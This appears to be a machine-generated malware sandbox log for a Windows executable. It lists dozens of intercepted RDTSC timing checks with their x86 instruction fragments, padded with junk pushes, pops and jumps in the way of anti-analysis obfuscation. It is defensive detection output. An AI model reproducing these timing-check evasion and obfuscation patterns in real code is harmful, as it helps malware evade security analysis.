Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5105 second address: 11B5109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5109 second address: 11B510F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B51D2 second address: 11B51DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE620F50F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B533F second address: 11B5343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B57BE second address: 11B57CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6328 second address: 11B633B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7DCA second address: 11B7E11 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2DDAh], edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FE620F50F88h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d movzx edi, si 0x00000030 push 00000000h 0x00000032 js 00007FE620F50F86h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B74BA second address: 11B74CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7E11 second address: 11B7E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B74CA second address: 11B74CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7E15 second address: 11B7E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7E19 second address: 11B7E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7E1F second address: 11B7E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F8Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7E2D second address: 11B7E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jmp 00007FE620D482DAh 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B88FA second address: 11B8923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FE620F50F99h 0x0000000d jl 00007FE620F50F8Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9346 second address: 11B934E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B934E second address: 11B93C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3287h], edi 0x0000000f mov esi, 7D0DAD2Dh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FE620F50F88h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 movsx edi, bx 0x00000033 mov edi, 59D54581h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FE620F50F88h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 mov di, 7E25h 0x00000058 xchg eax, ebx 0x00000059 push ebx 0x0000005a push esi 0x0000005b jno 00007FE620F50F86h 0x00000061 pop esi 0x00000062 pop ebx 0x00000063 push eax 0x00000064 je 00007FE620F50F90h 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9E26 second address: 11B9E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B9E2A second address: 11B9E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDA76 second address: 11BDA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDA7A second address: 11BDA7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDA7E second address: 11BDAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FE620D482E9h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE620D482DEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDFF8 second address: 11BDFFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDFFC second address: 11BE03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FE620D482DEh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 jnp 00007FE620D482DEh 0x00000019 push ebx 0x0000001a and edi, dword ptr [ebp+122D3384h] 0x00000020 pop edi 0x00000021 xchg eax, esi 0x00000022 jmp 00007FE620D482DDh 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jnp 00007FE620D482D8h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEF1B second address: 11BEF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEF1F second address: 11BEF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE144 second address: 11BE14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEF2D second address: 11BEF33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE14A second address: 11BE158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE158 second address: 11BE15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFE64 second address: 11BFE6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF039 second address: 11BF054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE620D482E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF054 second address: 11BF065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FE620F50F86h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C00ED second address: 11C00F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C00F1 second address: 11C0115 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE620F50F8Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C114B second address: 11C115D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jnl 00007FE620D482D6h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C115D second address: 11C1167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE620F50F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3E01 second address: 11C3E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C603A second address: 11C604C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C50D4 second address: 11C50DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C50DC second address: 11C50FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE620F50F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C818E second address: 11C819B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C819B second address: 11C819F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C88A7 second address: 11C88BD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE620D482DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C88BD second address: 11C88C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9888 second address: 11C98B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE620D482D6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f add dword ptr [ebp+122D2A13h], ecx 0x00000015 push 00000000h 0x00000017 xor dword ptr [ebp+122D1C02h], ecx 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D1C35h], edi 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jbe 00007FE620D482D8h 0x0000002e push ebx 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C98B8 second address: 11C98CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F92h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C98CE second address: 11C98D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB8BB second address: 11CB8BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB8BF second address: 11CB902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor ebx, 62AD169Ah 0x00000010 push 00000000h 0x00000012 and edi, 4DBAF0E0h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FE620D482D8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push ecx 0x00000039 pop ecx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB902 second address: 11CB906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAB03 second address: 11CAB07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC92D second address: 11CC98E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 pop edx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FE620F50F88h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 jp 00007FE620F50F8Ch 0x00000036 and ebx, 4F04A187h 0x0000003c jmp 00007FE620F50F90h 0x00000041 xchg eax, esi 0x00000042 jo 00007FE620F50F92h 0x00000048 js 00007FE620F50F8Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEBBF second address: 11CEBC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEBC3 second address: 11CEBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CED68 second address: 11CEDE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE620D482E8h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edi, bx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 and ebx, dword ptr [ebp+122D1C4Bh] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 or dword ptr [ebp+122D310Dh], eax 0x0000002b adc ebx, 150BCE06h 0x00000031 mov eax, dword ptr [ebp+122D0FE1h] 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007FE620D482D8h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 push FFFFFFFFh 0x00000053 nop 0x00000054 pushad 0x00000055 push eax 0x00000056 jmp 00007FE620D482DBh 0x0000005b pop eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEDE2 second address: 11CEE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F8Dh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE620F50F8Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8F4B second address: 11D8F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8F55 second address: 11D8F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8F5B second address: 11D8F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8F5F second address: 11D8F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE620F50F98h 0x0000000c jmp 00007FE620F50F8Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E4E second address: 1166E5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE620D482D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E5A second address: 1166E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E62 second address: 1166E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E66 second address: 1166E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FE620F50F93h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166E83 second address: 1166E8D instructions: 0x00000000 rdtsc 0x00000002 je 00007FE620D482D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DB3CF second address: 11DB3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0BCC second address: 11E0BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0BD0 second address: 11E0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FE620F50F8Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0BEB second address: 11E0C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482E5h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0C0D second address: 11E0C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0C14 second address: 11E0C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007FE620D482D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0C2B second address: 11E0C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0E26 second address: 11E0E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007FE620D482E8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007FE620D482D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0E43 second address: 11E0E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0E47 second address: 11E0E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE620D482DBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E0E5E second address: 11E0E94 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE620F50F88h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jbe 00007FE620F50F94h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE620F50F8Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6C40 second address: 11E6C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6C44 second address: 11E6C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007FE620F50F86h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6C5A second address: 11E6C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E93 second address: 11E5E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E98 second address: 11E5EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482DDh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E619B second address: 11E61C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FE620F50F86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007FE620F50F93h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E61C2 second address: 11E61D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620D482DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E67A5 second address: 11E67AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E68FE second address: 11E6926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE620D482D6h 0x0000000a jmp 00007FE620D482E9h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
